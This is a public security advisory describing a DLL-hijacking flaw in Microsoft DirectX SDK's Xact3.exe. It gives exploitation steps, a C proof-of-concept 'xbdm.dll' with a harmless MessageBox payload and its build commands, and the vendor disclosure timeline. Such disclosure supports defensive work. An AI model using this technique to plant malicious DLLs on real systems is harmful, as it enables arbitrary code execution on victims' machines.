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[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-DIRECTX-SDK-XACT.EXE-TROJAN-FILE-CODE-EXECUTION.txt
[+] ISR: Apparition Security   
       
 
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Vendor
=============
www.microsoft.com


Product
===========
Microsoft DirectX SDK (June 2010) Xact3.exe
https://www.microsoft.com/en-us/download/details.aspx?id=6812

XACT (Cross-platform audio creation tool) is an audio creation and authoring tool from Microsoft.
It comes with a graphical interface that allows sound designers to create audio resources for games,
that can be integrated into XNA projects, offering the game developer a convenient way of accessing these sounds.


Vulnerability Type
===================
Remote Code Execution



CVE Reference
==============
N/A



Security Issue
================
Microsoft DirectX SDK "Xact3.exe" Cross-platform tool allows for arbitrary code execution via a Trojan horse file "xbdm.dll"
in the current working directory, upon opening a ".xap" project file from same location. 
The DirectX SDK deprecated but still avail for download at time of this writing ...



Exploit/POC
=============
1) create DLL 32bit DLL named "xbdm.dll" and place on a remote share

2) create an empty file with a ".xap" extension on the same share, this will open using "Xact3.exe" as its default

3) open the the .xap file from the Network share then BOOM!


#include <windows.h>

/* hyp3rlinx */

/*
gcc -c -m32 xbdm.c
gcc -shared -m32 -o xbdm.dll xbdm.o
*/

void executo(){
	 MessageBox( 0, "3c184981367094fce3ab70efc3b44583" , "philbin " , MB_YESNO + MB_ICONQUESTION );
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){
	switch(fdwReason){
		case DLL_PROCESS_ATTACH:{
			 executo();
			break;
		}
		case DLL_PROCESS_DETACH:{
			 executo();
			break;
		}
		case DLL_THREAD_ATTACH:{
			 executo();
			break;
		}
		case DLL_THREAD_DETACH:{
			 executo();
			break;
		}
	}
	
	return TRUE;
}




Network Access
===============
Remote



Severity
=========
High



Disclosure Timeline
=============================
Vendor Notification: June 7, 2018
MSRC Case 45973 : June 13, 2018
MSRC : "While your finding is valid, we won’t service this issue because the legacy DirectX SDK is deprecated." : August 10, 2018
August 11, 2018 : Public Disclosure



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for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).